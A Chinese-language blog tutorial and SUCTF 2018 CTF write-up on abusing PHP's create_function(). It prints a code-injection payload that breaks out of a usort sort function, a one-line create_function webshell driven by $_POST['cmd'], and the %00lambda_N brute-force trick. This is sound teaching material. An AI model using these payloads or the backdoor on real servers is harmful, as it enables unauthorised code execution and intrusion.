create_function()漏洞利用

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

复制代码
$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。

也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

复制代码
$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

复制代码
example.php?code=phpinfo()

代码就会变成:

复制代码
$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

复制代码
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

复制代码
?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

复制代码
$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

复制代码
create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

复制代码
function($a, $b) {
    return 1 * strnatcasecmp(
        $a["'"] //  合法访问数组(虽然没啥意义)
    );       //  闭合 return 调用
    }        //  闭合函数体结构
    phpinfo(); //  恶意代码执行
    /*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

复制代码
<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 **create_function()**的定义

create_function() 的定义如下(PHP 官方解释):

复制代码
create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数 ,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么"动态创建"的呢?

从 PHP 源码和官方文档的解释来看,**create_function()**的内部实现就是用 **eval()**把代码构造出来然后执行的

比如:

复制代码
$func = create_function('$a, $b', 'return $a + $b;');

等价于:

复制代码
$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建"匿名"函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

复制代码
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();

show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash

接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了

相关推荐
芯盾时代7 小时前
AI在网络安全领域的应用现状和实践
人工智能·安全·web安全·网络安全
银空飞羽9 小时前
再学学MCP间接提示词注入
安全·mcp·trae
安全系统学习13 小时前
【网络安全】漏洞分析:阿帕奇漏洞学习
java·网络·安全·web安全·系统安全
链上Sniper13 小时前
Python 区块链开发实战:从零到一构建智能合约
开发语言·网络·python·架构·区块链·php·智能合约
网安INF17 小时前
数据加密标准(DES)解析
java·网络安全·密码学·des
mooyuan天天17 小时前
pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)
安全·web安全·xss·pikachu靶场·xss漏洞
饮长安千年月18 小时前
玄机-第六章 流量特征分析-蚂蚁爱上树
windows·计算机网络·web安全·网络安全·系统安全·安全架构
饮长安千年月19 小时前
JavaSec-专题-反序列化
java·开发语言·web安全·网络安全·系统安全·可信计算技术·安全架构
conkl19 小时前
Kali Linux 安全工具解析
linux·网络·安全·kali
链上Sniper19 小时前
智能合约安全漏洞解析:从 Reentrancy 到 Integer Overflow
开发语言·网络·架构·区块链·php·智能合约